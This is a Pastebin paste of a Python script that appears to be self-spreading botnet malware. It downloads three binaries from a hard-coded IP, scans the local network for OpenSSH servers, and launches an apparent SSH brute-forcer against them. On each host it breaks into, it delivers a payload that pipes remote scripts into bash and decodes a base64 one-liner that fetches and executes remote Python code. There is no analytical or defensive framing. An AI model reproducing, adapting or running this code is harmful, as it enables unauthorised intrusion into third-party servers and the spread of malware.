ring0x0

e.py

Apr 12th, 2022
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.08 KB | None | 0 0
  1. import urllib
  2. import platform
  3. import os
  4.  
  5. payload = '(curl -s http://185.157.160.214/xms || wget -q -O - http://185.157.160.214/xms || lwp-download http://185.157.160.214/xms /tmp/xms) | bash -sh; bash /tmp/xms; rm -rf /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExOC4xMTkvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'
  6. lan = "ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1"
  7.  
  8. if platform.architecture()[0] == "64bit":
  9. urlx64 = "http://185.101.107.92/hxx"
  10. urlxx = "http://185.101.107.92/ps"
  11. urlxxx = "http://185.101.107.92/scan"
  12. try:
  13. f = urllib.urlopen(urlx64)
  14. if f.code == 200:
  15. data = f.read()
  16. with open ("/tmp/hxx", "wb") as code:
  17. code.write(data)
  18. xx = urllib.urlopen(urlxx)
  19. if xx.code == 200:
  20. data = xx.read()
  21. with open ("/tmp/ps", "wb") as code:
  22. code.write(data)
  23. xxx = urllib.urlopen(urlxxx)
  24. if xxx.code == 200:
  25. data = xxx.read()
  26. with open ("/tmp/scan", "wb") as code:
  27. code.write(data)
  28.  
  29. os.chmod("/tmp/hxx", 0o777)
  30. os.chmod("/tmp/ps", 0o777)
  31. os.chmod("/tmp/scan", 0o777)
  32. os.system("cd /tmp")
  33. os.system("rm -rf /tmp/ssh_vuln.txt")
  34. os.system("nohup /tmp/scan `ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1`.0.0-`ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1`.255.255 22 > /tmp/ssh_vuln.txt")
  35. os.system("cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck; rm -rf /tmp/ssh_vuln.txt")
  36. os.system("nohup /tmp/hxx 300 -f /tmp/sshcheck /tmp/ps 22 " + "'" + payload + "' >/dev/null 2>&1")
  37. os.system("echo Finished")
  38. except:
  39. pass
  40. else:
  41. urlx32 = "http://185.101.107.92/hxx"
  42. urlyy = "http://185.101.107.92/ps"
  43. urlyyy = "http://185.101.107.92/scan"
  44. try:
  45. f = urllib.urlopen(urlx64)
  46. if f.code == 200:
  47. data = f.read()
  48. with open ("/tmp/hxx", "wb") as code:
  49. code.write(data)
  50. yy = urllib.urlopen(urlyy)
  51. if yy.code == 200:
  52. data = yy.read()
  53. with open ("/tmp/ps", "wb") as code:
  54. code.write(data)
  55. yyy = urllib.urlopen(urlyyy)
  56. if yyy.code == 200:
  57. data = yyy.read()
  58. with open ("/tmp/scan", "wb") as code:
  59. code.write(data)
  60.  
  61. os.chmod("/tmp/hxx", 0o777)
  62. os.chmod("/tmp/ps", 0o777)
  63. os.chmod("/tmp/scan", 0o777)
  64. os.system("cd /tmp")
  65. os.system("rm -rf /tmp/ssh_vuln.txt")
  66. os.system("nohup /tmp/scan `ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1`.0.0-`ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1`.255.255 22 > /tmp/ssh_vuln.txt")
  67. os.system("cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck; rm -rf /tmp/ssh_vuln.txt")
  68. os.system("nohup /tmp/hxx 300 -f /tmp/sshcheck /tmp/ps 22 " + "'" + payload + "' >/dev/null 2>&1")
  69. os.system("echo Finished")
  70.  
  71. except:
  72. pass
  73.  
  74.  
Add Comment
Please, Sign In to add comment